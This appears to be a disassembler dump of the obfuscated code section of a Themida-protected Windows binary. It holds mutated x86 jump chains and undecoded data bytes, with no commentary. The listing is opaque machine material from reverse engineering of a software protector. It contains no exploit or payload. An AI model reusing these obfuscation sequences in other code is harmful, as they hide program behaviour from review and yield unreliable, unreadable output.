		dd 0FFE8D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516821:				; CODE XREF: Themida_:005208A6j
		push	ecx
		mov	ecx, 1D7F4633h
		mov	edi, ecx
		jmp	loc_510125
; ---------------------------------------------------------------------------
		dw 31ADh
		dd 61BF57D8h, 50244042h, 0AC6F4EB8h, 4A172D05h,	42D7D30h
		dd 817454B2h, 8A079BEFh, 7943E962h, 7D680000h, 8900004Fh
		dd 47B62414h, 805AF500h, 5EE9E7C5h, 0ACFFFFC2h,	0D8004D04h
		dd 0FFDC21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516871:				; CODE XREF: Themida_:005192F1j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_514FC8
; ---------------------------------------------------------------------------
		db 28h,	0D8h, 4
aFrF		db 'fR',0
		dw 66D0h
		dd 0B652515Ah, 5AF188B4h, 3C84E9h, 4EC8100h, 89000000h
		dd 91BD242Ch, 8177C074h, 6274BDF5h, 5DE98964h, 0EE9CD89h
		dd 28FFFFD3h, 0AF47E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5168BA:				; CODE XREF: Themida_:0051CAF1j
		mov	[esp], ecx
		jmp	loc_5235F4
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4C781h, 3C870000h, 0BE565C24h, 2,	335EF501h, 2C31242Ch
		dd 242C3324h, 6624248Bh, 9C2424D3h, 0FF78FFE9h,	25BE56FFh
		dd 0F757C34Ch, 81D6F7D6h, 52660EEh, 0D1E68148h,	817FC256h
		dd 250A13C6h, 5EF389F7h, 43B7F381h, 0C381272Fh,	64A9460Ch
		dd 936BEB81h, 0DE018631h, 1F55E95Bh, 2C830000h,	0D3E9FF24h
		dd 1FFFFB6h, 7A7968C3h,	14890000h, 5E436824h, 2C890000h
		dd 2358BD24h, 0E5816255h, 6F05B3Ah, 1EE5F581h, 0F5814B74h
		dd 7082D4Eh, 4327C581h,	0ED817EB4h, 82375E08h, 1E84E9h
		dd 33F18100h, 0E91246B6h, 0FFFFE384h
; ---------------------------------------------------------------------------


loc_516978:				; CODE XREF: Themida_:00514FABj
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		mov	ecx, 22212B3Fh
		add	ecx, 1A3541E1h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_519113
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 41544328h, 5D2FF281h, 84E9742Dh, 5F00003Ch, 83629205h
		dd 81E82952h, 4ECh, 243C8900h, 144B5FBFh, 81D7F775h, 0A387CEFh
		dd 3C96E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5169CA:				; CODE XREF: Themida_:005145E2j
		sub	ebx, 47740CFFh
		push	edx
		mov	edx, 6F836EDCh
		neg	edx
		sub	edx, 4F450A6Dh
		push	eax
		mov	eax, 1BDD9792h
		add	edx, eax
		pop	eax
		or	ebx, edx
		pop	edx
		sub	ebx, 5D353E47h
		mov	edi, ebx
		pop	ebx
		add	edx, edi
		jmp	loc_51E53D
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 1E685D00h, 89000073h, 0BE562414h, 4, 815EF289h
		dd 0C3125FC5h, 20E95208h, 8BFFFF8Fh, 0C4832414h, 6E76804h
		dd 4890000h, 0A48AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516A32:				; CODE XREF: Themida_:00514CADj
		xchg	edi, [esp]
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5114C2
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 5000000h, 1E6F4D51h,	8E9D001h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_516A5F:				; CODE XREF: Themida_:0051A129j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		push	4
		mov	edx, [esp]
		jmp	loc_522A4E
; ---------------------------------------------------------------------------


loc_516A73:				; CODE XREF: Themida_:0051D82Dj
		mov	esi, 713B4F81h
		sub	esi, 0FC07E930h
		or	eax, esi
		pop	esi
		inc	eax
		jmp	loc_518E10
; ---------------------------------------------------------------------------


loc_516A87:				; CODE XREF: Themida_:005107B0j
		xchg	esi, [esp]
		jmp	loc_51D1FF
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 58C70100h, 5C243C87h, 8B24048Fh, 0C5E92424h, 810000A5h
		dd 3AB218EEh, 1CDA6850h, 2C890000h, 0DAE95124h,	51FFFFFDh
		dd 49316EB9h, 8FED810Bh, 294CEF7Bh, 8FC581CDh, 594CEF7Bh
		dd 5D3DED81h, 33590277h, 2C31242Ch, 242C3324h, 770AE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516AE6:				; CODE XREF: Themida_:00522753j
		add	ebx, 1E2E69DEh
		add	ebx, 89517Fh
		sub	ebx, 9BB71A50h
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	7812h
		mov	[esp], ecx
		push	edi
		mov	edi, 75F035BCh
		sub	edi, 4429BA4Bh
		jmp	loc_5195EC
; ---------------------------------------------------------------------------
		dw 0F801h
a_ha		db '_h"',0
		align 2
		dd offset dword_4271E8+1
		dw 6800h
		dd 4A7h, 0B9240C89h, 7F072A74h,	0E1C1D9F7h, 75E95302h
		dd 83000080h, 0C8904ECh, 4BEFB924h, 0C8316ABBh,	62842559h
		dd 0DE92467h, 0BFFFFFB3h, 7F701327h, 0E95FF931h, 0FFFFBA3Ch
		dd 5ABA525Dh, 0E971D062h, 0FFFFA59Ch
; ---------------------------------------------------------------------------


loc_516B70:				; CODE XREF: Themida_:005155FAj
		xor	eax, ebp
		pop	ebp
		and	eax, 9F9708Eh
		jmp	loc_513C13
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 48h
		dd 0BF01D468h, 13395AB0h, 525EF731h, 0FFFFFFBAh, 5AD729FFh
		dd 0FFF9B7E9h, 2434FFFFh, 0BBE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_516BA1:				; CODE XREF: Themida_:0051331Bj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_510C73
; ---------------------------------------------------------------------------
		dw 4468h
		dd 8900001Bh, 0E868243Ch, 5F3C8B1Bh, 815FF901h,	21157FF1h
		dd 0B5C1817Ch, 8166265Dh, 12C708F1h, 69ED81CBh,	0E962BC2Fh
		dd 320Fh, 8CE9DF21h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_516BE7:				; CODE XREF: Themida_:00513FA4j
		mov	[esp], eax
		mov	eax, 51B413DAh
		or	ecx, eax
		pop	eax
		jmp	loc_51F099
; ---------------------------------------------------------------------------


loc_516BF7:				; CODE XREF: Themida_:00510321j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_51F429
; ---------------------------------------------------------------------------


loc_516C0B:				; CODE XREF: Themida_:0051185Cj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, 52B337C0h
		add	ecx, ebp
		pop	ebp
		mov	esi, ecx
		jmp	loc_521334
; ---------------------------------------------------------------------------
		dd 36FBC781h, 0E6E97B64h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_516C2B:				; CODE XREF: Themida_:00519480j
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 36390CFBh
		shr	ebp, 7
		not	ebp
		push	eax
		jmp	loc_51DBF9
; ---------------------------------------------------------------------------
		dd 15D501BBh, 5BDE898Ch, 34FFF301h, 0C4835E24h,	95A2E904h
		dd 665CFFFFh, 0E9243C89h, 8CEh,	0C005EDC0h, 885008EDh
		dd 0FD0E9ECh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516C72:				; CODE XREF: Themida_:0051486Fj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_50F046
; ---------------------------------------------------------------------------
		dd 0B205F829h, 552B0838h, 58062ABDh, 5DE8292Bh,	2434FF5Fh
		dd 81242C8Bh, 4C4h, 4C48300h, 7BAD68h, 241C8900h, 0E6685756h
		dd 8B351100h, 0C483243Ch, 5E7C104h, 0BA52h, 0FA290000h
		dd 20E9D731h, 5AFFFF97h, 11C668h, 243C8900h, 0BB200DBFh
		dd 247C2958h, 0D752E904h, 0EB00FFFFh, 0E9240C8Bh, 19F6h
		dd 5259CF28h, 882BB151h, 0D72059CAh, 7C7805Ah, 0C008E7C0h
		dd 0BDE907EFh, 1000034h, 0C1055FF8h, 1197914h, 78B6E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516D1A:				; CODE XREF: Themida_:005217D8j
		mov	[esp], ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		jmp	loc_51F2EA
; ---------------------------------------------------------------------------
		dw 0B5BFh
		dd 3144AB4Dh, 0FC71E9FDh, 0F281FFFFh, 479528CFh, 148BD529h
		dd 4C48324h, 0EDC1595Eh, 0B4B85006h, 486BBF5Eh,	1E06DF2Dh
		dd 0E9C52149h, 7090h
; ---------------------------------------------------------------------------


loc_516D5C:				; CODE XREF: Themida_:005150ECj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_512B5B
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0CFh
		dd 2162BFA4h, 0BD555DE8h, 97BFF6D9h, 15DE801h, 24048BC2h
		dd 6804C483h, 4E18h, 0FF241489h, 8B042474h, 0C4812414h
		dd 4, 0E924048Fh, 2DCh,	80E95766h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516DAB:				; CODE XREF: Themida_:0051ABE7j
		sub	edi, 44957258h
		jmp	loc_518F67
; ---------------------------------------------------------------------------
		dw 159h
		dd 0D690E9EEh, 348BFFFFh, 4C48124h, 8F000000h, 248B2404h
		dd 38B16824h, 0A3E90000h, 57000066h, 623327BFh,	5FFA016Eh
		dd 6B32E9h, 240C8900h, 1728E9h,	1EE95900h, 83FFFFEAh, 148904ECh
		dd 4EC8324h, 0B8240489h, 42C951D1h, 0FF8ADAE9h,	4C481FFh
		dd 81000000h, 4ECh, 241C8900h, 0E956E389h, 0FFFFB121h
		dd 0F137C968h, 0E9565F08h, 0FFFFD4F1h, 46851h, 0E9590000h
		dd 0FFFFB0F6h, 0C829E957h, 92050000h, 89092804h, 0E6C158C6h
		dd 0B3BA5205h, 2963211Eh, 0F2E95AD6h, 81000071h, 940EAECFh
		dd 0C14F4F30h, 0C78104E7h, 0BD602A1Eh, 3C8BFD21h, 110DE924h
		dd 0C6810000h, 701976F5h, 0FFA7B7E9h, 782F68FFh, 56E90000h
		dd 1FFFF7Dh, 240C8BCAh,	73FDE9h, 4BE5600h, 29000000h, 3C875EF7h
		dd 24248B24h, 0E9241489h, 0FFFF7C02h, 95242C81h, 810C7721h
		dd 552E2404h, 401242Ch,	0D70DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516EBE:				; CODE XREF: Themida_:005117B3j
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_51354D
; ---------------------------------------------------------------------------
aJFrqsrc	db 'fRQR',0
		dd offset dword_4AB05C+0A4h
aSdj		db 'dj',0
		align 2
		dw 0F001h
		dd 5E2434FFh, 5E08950h,	4, 405h, 24048700h, 4C0835Ch, 31240433h
		dd 4332404h, 24248B24h,	799E6866h, 24148966h, 164C68h
		dd 24048900h, 4EC81h, 1C890000h, 80DBB724h, 0DFF661CFh
		dd 2882B151h, 0C78059CFh, 0CAB45053h, 0E94FEF80h, 0FFFFD1BCh
; ---------------------------------------------------------------------------


loc_516F34:				; CODE XREF: Themida_:00514C32j
		sub	eax, 67FF7D2Ah
		sub	eax, 90E48C6h
		add	[eax], edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4


loc_516F4A:				; CODE XREF: Themida_:00513C5Cj
		push	ebx
		push	edx
		mov	edx, esp
		push	ecx
		push	edx
		push	28FF3C60h
		pop	edx
		jmp	loc_51956C
; ---------------------------------------------------------------------------


loc_516F5B:				; CODE XREF: Themida_:00521CD1j
		push	ax
		mov	ah, 0A0h
		jmp	loc_517876
; ---------------------------------------------------------------------------
		dd 0E942C380h, 3BF1h, 0E9241489h, 0FFFF8A0Dh, 45E99540h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516F7B:				; CODE XREF: Themida_:00514B4Cj
		dec	ebx
		sub	ebx, 894AF08Dh
		mov	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 90E48C6h
		add	eax, ebp
		pop	ebp
		add	eax, 67FF7D2Ah
		add	eax, 7AFB381Eh
		add	eax, edi
		jmp	loc_514C2D
; ---------------------------------------------------------------------------


loc_516F9F:				; CODE XREF: Themida_:0050E63Cj
		add	ch, dh
		sub	ch, 0A1h
		jmp	loc_51EE36
; ---------------------------------------------------------------------------
		db 2Dh,	60h, 76h
		dd 15E7A8Bh, 0F0E958C6h, 1FFFFFAh, 2CEEE9C3h, 32680000h
		dd 89000053h, 0FF54243Ch, 0E95F2434h, 0FFFF73EAh, 355BF0B9h
		dd 0C58E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516FDA:				; CODE XREF: Themida_:00522467j
		push	ebp
		mov	ebp, 4
		sub	eax, 38511C21h
		jmp	loc_517788
; ---------------------------------------------------------------------------
		dw 4646h
		dd 0FF9A9FE9h, 2C2205FFh, 242D7F66h, 8B3A4304h,	8952243Ch
		dd 4C281E2h, 0E9000000h, 0B160h, 2E8C158h, 107FE9h, 0DEC38100h
		dd 8B7C2E6Dh, 0C4832414h, 4B95104h, 81000000h, 963472C3h
		dd 81CB293Dh, 963472EBh, 0E140E93Dh, 2C89FFFFh,	2FBC6824h
		dd 0E95D6F13h, 0FFFFBAC1h
; ---------------------------------------------------------------------------


loc_517048:				; CODE XREF: Themida_:0051480Cj
		mov	ebx, 4
		jmp	loc_51CEF7
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 295C2434h, 0C6FBE9F8h, 0F3890000h, 0E92434FFh, 97E8h
		dd 2414895Ch, 0E956E289h, 0FFFFF2C7h
; ---------------------------------------------------------------------------


loc_517074:				; CODE XREF: Themida_:00511DD2j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		dd 6624248Bh, 5624048Bh, 4EC81h, 24890000h, 24048124h
		dd 4, 317CE9h, 243C8B00h, 32CBE9h, 0FFD10100h, 71E92434h
		dd 500001Fh, 7A8B7660h,	0EEE9F029h, 0FFFFFFFEh,	52592434h
		dd 3C6E9h, 40500h, 0E8830000h, 24048704h, 91D2E9h, 4C68300h
		dd 5C243487h, 170D68h, 24148900h, 0E2D04BB2h, 5A2468h
		dd 24048900h, 96680BB0h, 0E9000007h, 0FFFFC0FBh, 0D8280204h
		dd 0C004022Ch, 0B252D32Ch, 24B2528Bh, 0F280CAFEh, 42CA80DFh
		dd 30A4B450h, 9E958E2h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51711F:				; CODE XREF: Themida_:0050F018j
		add	ecx, 0A960083h
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 350373C6h
		add	ebx, edi
		add	ebx, 350373C6h
		push	ecx
		jmp	loc_522F48
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aZptxsP		db 'ZPTX*',0
		dd 4875A00h, 24248B24h,	24148966h, 0D300F5B2h, 0FFC2B6E9h
		dd 24348BFFh, 81E18951h, 4C1h, 4C18300h, 8B240C87h, 0AE92424h
		dd 66000006h, 8089B353h, 0EA80CEC2h, 80DA0077h,	0EA8077C2h
		dd 1C8B66CEh, 2C48324h,	0E4E9D000h, 0AD000063h,	9015E9h
		dd 9C516600h, 0FF704BE9h, 4C281FFh, 0E9000000h,	7F8Eh
		dd 0F281DAF7h, 41812B69h, 7B3CC281h, 0C28139B0h, 5D8404B7h
		dd 555AD589h, 8427E9h
		db 0
; ---------------------------------------------------------------------------


loc_5171CD:				; CODE XREF: Themida_:00520940j
		mov	ebp, edi
		pop	edi
		xor	ebp, 7DAD27A8h
		add	ebp, 0C663C783h
		add	eax, ebp
		jmp	loc_519499
; ---------------------------------------------------------------------------


loc_5171E3:				; CODE XREF: Themida_:0051D3C0j
		mov	ebx, 2617759Ch
		and	edx, ebx
		jmp	loc_51DA04
; ---------------------------------------------------------------------------
		db 53h
		dd 0A6F6FBBh, 443E90Ah,	505D0000h, 4055854h, 5000000h
		dd 4, 5C240487h, 0E924048Fh, 0B3E4h
; ---------------------------------------------------------------------------


loc_517214:				; CODE XREF: Themida_:00514964j
		push	ecx
		mov	ecx, esp
		jmp	loc_517B41
; ---------------------------------------------------------------------------
		dd 0FF6FCFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517221:				; CODE XREF: Themida_:0051A111j
		add	edx, 4
		jmp	loc_50FEB4
; ---------------------------------------------------------------------------


loc_51722C:				; CODE XREF: Themida_:0051737Dj
		mov	esi, 4
		add	eax, 0EF94A6Eh
		add	eax, esi
		jmp	loc_51C8BA
; ---------------------------------------------------------------------------


loc_51723D:				; CODE XREF: Themida_:00517C19j
		add	esp, 4
		jmp	loc_51C609
; ---------------------------------------------------------------------------


loc_517248:				; CODE XREF: Themida_:0051EDE0j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4448h
		jmp	loc_5177BC
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0D7053C48h, 0E958C529h, 0A5A5h, 0EB81F301h, 471419DAh
		dd 0FFDA31E9h, 240489FFh, 21A4E9h, 243C8700h, 0BA52535Ch
		dd 52E711Bh, 3957CA81h,	0DAF7743Dh, 0AF28142h, 0E9EC07EDh
		dd 8C61h
; ---------------------------------------------------------------------------


loc_5172A8:				; CODE XREF: Themida_:00521A2Dj
		add	eax, edi
		pop	edi
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	109Ch
		jmp	loc_51F725
; ---------------------------------------------------------------------------
		dd 86FFC780h, 86D5F6EFh, 2CB652EFh, 0FFF4EAE9h,	0E68956FFh
		dd 4C681h, 0C6830000h, 74FF5604h, 34FF0424h, 0C4815E24h
		dd 4, 5C24048Fh, 1C8BDE31h, 0E1895124h,	0FF7A57E9h, 2C8B66FFh
		dd 2C48124h, 0E9000000h, 0FFFF6EE8h, 5C24048Fh,	0FFA3BCE9h
		dd 285B66FFh, 516659EAh, 0FF8AEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51731D:				; CODE XREF: Themida_:0051F3A2j
		add	al, dl
		sub	al, 0BEh
		pop	edx
		push	ebx
		jmp	loc_512D55
; ---------------------------------------------------------------------------
		dd 1CBBD55h, 0E9450E24h, 0FFFFF2E5h, 0E92434FFh, 0A926h
		dd 5C241C87h, 89241C89h, 1EBF57E3h, 0D167D832h,	88EF81E7h
		dd 4745BE2Ch, 0C84FB951h, 0CF01760Dh, 0B6C38159h, 0E903D357h
		dd 86C2h
; ---------------------------------------------------------------------------


loc_517368:				; CODE XREF: Themida_:00517377j
		push	ebx
		jmp	loc_521289
; ---------------------------------------------------------------------------


loc_51736E:				; CODE XREF: Themida_:00514025j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_517368
; ---------------------------------------------------------------------------


loc_51737C:				; CODE XREF: Themida_:00519913j
		push	esi
		jmp	loc_51722C
; ---------------------------------------------------------------------------
		dw 0D1F6h
aJSxa		db 'a',0
		dw 8900h
		dd 52E92434h, 29FFFF94h, 78C281CAh, 0E9622A56h,	0FFFFA515h
; ---------------------------------------------------------------------------


loc_5173A0:				; CODE XREF: Themida_:0051D642j
		mov	ebp, 2F0C4F4Ch
		shl	ebp, 8
		jmp	loc_5161C7
; ---------------------------------------------------------------------------


loc_5173AD:				; CODE XREF: Themida_:0050ED29j
		push	edx
		mov	edx, 6EEA39B2h
		push	eax
		mov	eax, 1B41386Dh
		dec	eax
		shr	eax, 6
		jmp	loc_52005B
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 59E8BF24h, 0C78142EFh, 28C223A4h, 77D5F781h,	0D7F710EFh
		dd 97A5E9h, 4EC8100h, 89000000h, 0E6892434h, 4C681h, 0EC830000h
		dd 24148904h, 4BAh, 4BEE8100h, 1693773h, 4BC681D6h, 0E9693773h
		dd 8969h, 53242489h, 6D656852h,	425A0FDEh, 576AEA81h, 0EA81761Eh
		dd 99C015F8h, 4EC8351h,	59241489h, 8B59CB89h, 0C4812414h
		dd 4, 4245C01h,	6EF0E9h, 89525C00h, 4C281E2h, 0E9000000h
		dd 8FE0h, 8B24048Fh, 0F662424h,	9C2404BBh, 0FF6D8FE9h
		dd 8E8C1FFh, 9F7A8635h,	58C18907h, 0FDE9CF31h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517473:				; CODE XREF: Themida_:0051A6F3j
		pop	esp
		jmp	loc_51077D
; ---------------------------------------------------------------------------


loc_517479:				; CODE XREF: Themida_:0051EA15j
		mov	esi, 478956FCh
		jmp	loc_51DD13
; ---------------------------------------------------------------------------


loc_517483:				; CODE XREF: Themida_:005118CAj
		add	esp, 4
		jmp	loc_512492
; ---------------------------------------------------------------------------
		db 68h
		dd 5FA1h, 57242489h, 4B71B951h,	0C98150F3h, 35D736F8h
		dd 35EE181h, 0F181183Fh, 1037035Ch, 2EAD68h, 24148900h
		dd 1BE9CA89h, 89FFFFEDh, 4B951E2h, 81000000h, 75166CC2h
		dd 28EA8172h, 1359070h,	28C281CAh, 0E9359070h, 0FFFFEFA5h
		dd 57E9E956h, 81590000h, 4C4h, 0F3F78100h, 890037FDh, 6C015FFDh
		dd 2C8B0424h, 4C48324h,	0FF75A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517501:				; CODE XREF: Themida_:00517D7Aj
		shl	edi, 2
		neg	edi
		sub	edi, 146A50CFh
		add	edx, edi
		pop	edi
		add	edx, esi
		sub	edx, 75CD4231h
		pop	esi
		push	esi
		jmp	loc_510AD1
; ---------------------------------------------------------------------------
		dw 0CDE9h
		dd 29FFFF6Ch, 0E904245Ch, 2E1Bh, 3787E94Fh, 89500000h
		dd 405E0h, 22D0000h, 87000000h,	18E92404h, 21000051h, 0C2CDE9EAh
		dd 0E959FFFFh, 0FFFFF93Dh, 0E924148Bh, 0C5B7h, 348BF501h
		dd 41126824h, 0D2E90000h, 53FFFF6Fh, 622CE9h, 29E78100h
		dd 0F7413B4Ah, 9748E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51757E:				; CODE XREF: Themida_:00522A57j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_514F92
; ---------------------------------------------------------------------------


loc_517589:				; CODE XREF: Themida_:00521EF2j
		pop	esp
		add	esi, 4
		jmp	loc_514788
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 50522404h, 26E9E089h, 89FFFFFBh, 4B82404h, 1000000h
		dd 3C8758C7h, 24248B24h, 815E5456h, 4C6h, 4685000h, 0E9000000h
		dd 4F02h, 0E92434FFh, 9F09h, 3908F781h,	0F8010DEFh, 7C2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5175D9:				; CODE XREF: Themida_:00519B70j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	311h
		jmp	loc_5165A6
; ---------------------------------------------------------------------------


loc_5175F0:				; CODE XREF: Themida_:005161C2j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0DE07ED2h
		sub	edx, 3FAF1988h
		inc	edx
		jmp	loc_51B8EA
; ---------------------------------------------------------------------------
		dd 15AD601h, 0FBDDE9FEh, 0EAC1FFFFh, 0D5F28102h, 512A484Dh
		dd 63116853h, 815B50E0h, 0F49F23C3h, 0E9D9892Eh, 11B5h
; ---------------------------------------------------------------------------


loc_517630:				; CODE XREF: Themida_:00512AEAj
		mov	ecx, 1A0324C2h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_515791
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2Ch
		dd 2947D0FDh, 335F5BDEh, 34312434h, 24343324h, 0F624248Bh
		dd 0B60F66E1h, 5F5457CCh, 0F8B6851h, 8159099Bh,	0D223EBC9h
		dd 28BB535Ah, 81742D22h, 14258BEBh, 95CCE976h, 8B5B0000h
		dd 0C481240Ch, 4, 565A5452h, 565DB951h,	0EE90467h, 8BFFFFC0h
		dd 0C481242Ch, 4, 0E9E18951h, 9808h, 5C241C87h,	45E7BD55h
		dd 0ED816329h, 632945E3h, 0FFBB57E9h, 24048FFFh, 0FE24248Bh
		dd 0E99C2404h, 0FFFF6B28h, 0F3F3815Eh, 8117605Ah, 4ECh
		dd 0B019E900h, 0EC83FFFFh, 1C896602h, 9BFE924h,	8DBA0000h
		dd 8103041Bh, 0F5537DC2h, 0CCC28125h, 81308D6Eh, 86DDD2EAh
		dd 0E9D08959h, 0FFFFED96h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 54241C89h, 4C3815Bh,	83000000h, 1C8704C3h, 4335C24h
		dd 24043124h, 5C240433h, 243CD366h, 9723E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51773A:				; CODE XREF: Themida_:0051F19Cj
		mov	eax, 80h
		and	ecx, eax
		mov	eax, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_51A0B5
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
		dd 0E9243C87h, 0FFFF8279h, 0F9E9D5B5h, 81FFFF83h, 4C7h
		dd 2C78300h, 31243C33h,	3C33243Ch, 24248B24h, 24048B66h
		dd 2804E9h, 0E95F5600h,	0FFFFC41Ah
; ---------------------------------------------------------------------------


loc_517788:				; CODE XREF: Themida_:00516FE5j
		add	eax, ebp
		push	ebp
		mov	ebp, 259A7DCDh
		jmp	loc_5121C5
; ---------------------------------------------------------------------------


loc_517795:				; CODE XREF: Themida_:005118D5j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_513341
; ---------------------------------------------------------------------------
		db 28h
		dd 45B753E8h, 595BF828h, 22DFE9h, 6DC38100h, 0E933F729h
		dd 3F57h
; ---------------------------------------------------------------------------


loc_5177BC:				; CODE XREF: Themida_:00517262j
		mov	[esp], ecx
		jmp	loc_51B898
; ---------------------------------------------------------------------------


loc_5177C4:				; CODE XREF: Themida_:0051EA6Dj
		add	bl, 0Fh
		sub	bl, 36h
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_51A1D8
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4900754h, 0C7AE9h, 241C3300h, 6624248Bh, 0E9C8AF0Fh
		dd 0FFFFF9A1h, 39DF68h,	242C8900h, 0D6224EBDh, 5DE93128h
		dd 3DAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_517811:				; CODE XREF: Themida_:0051933Cj
		pop	edx
		xor	ebx, 112B685Fh
		jmp	loc_50EA0E
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0FFA4B9E9h, 0E9E189FFh, 0A872h
; ---------------------------------------------------------------------------


loc_51782C:				; CODE XREF: Themida_:0051BFDBj
		xor	ebp, 1504106h
		jmp	loc_51CDC0
; ---------------------------------------------------------------------------


loc_517837:				; CODE XREF: Themida_:005136E8j
		pop	edi
		sub	edi, 69306616h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 5E6F07CCh
		jmp	loc_522AFE
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 80FE00F7h, 8BE9F7C6h, 5DFFFFA3h, 31240C33h, 0C33240Ch
		dd 24248B24h, 242CD366h, 697AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517876:				; CODE XREF: Themida_:00516F5Fj
		sub	bh, ah
		pop	ax
		push	edx
		push	ecx
		mov	cl, 94h
		push	ecx
		mov	cl, 1Bh
		jmp	loc_514ACB
; ---------------------------------------------------------------------------


loc_517886:				; CODE XREF: Themida_:00516561j
		pop	edi
		xor	edi, 79795F6Eh
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 49A7A87h
		sub	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_523C42
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 1FEEC581h, 7DE93D96h,	0BE000085h, 612E135Dh
		dd 9D07D3BFh, 5EF701FCh, 0BD76E9h, 4FE95200h, 81FFFFE4h
		dd 0D11FE8C3h, 5C015A1Fh, 8B5B0424h, 0E9522404h, 7110h
		dd 71E968h, 4823E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5178F6:				; CODE XREF: Themida_:00512A83j
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 61DB729Dh
		add	edi, 2BF10F1Ch
		shl	edi, 4
		add	edi, 2337E474h
		add	edx, edi
		jmp	loc_519260
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 3C875EF7h,	48F5C24h, 11E95C24h, 54000022h
		dd 4C7815Fh, 81000000h,	4C7h, 243C8700h, 0C465E95Ch, 32FFFFFFh
		dd 4FF6E9h, 4FD7F700h, 376AC781h, 0EF811151h, 0EB424EAAh
		dd 1CE9FB29h, 0E9000005h, 0FFFF688Ch, 83242489h, 5E042404h
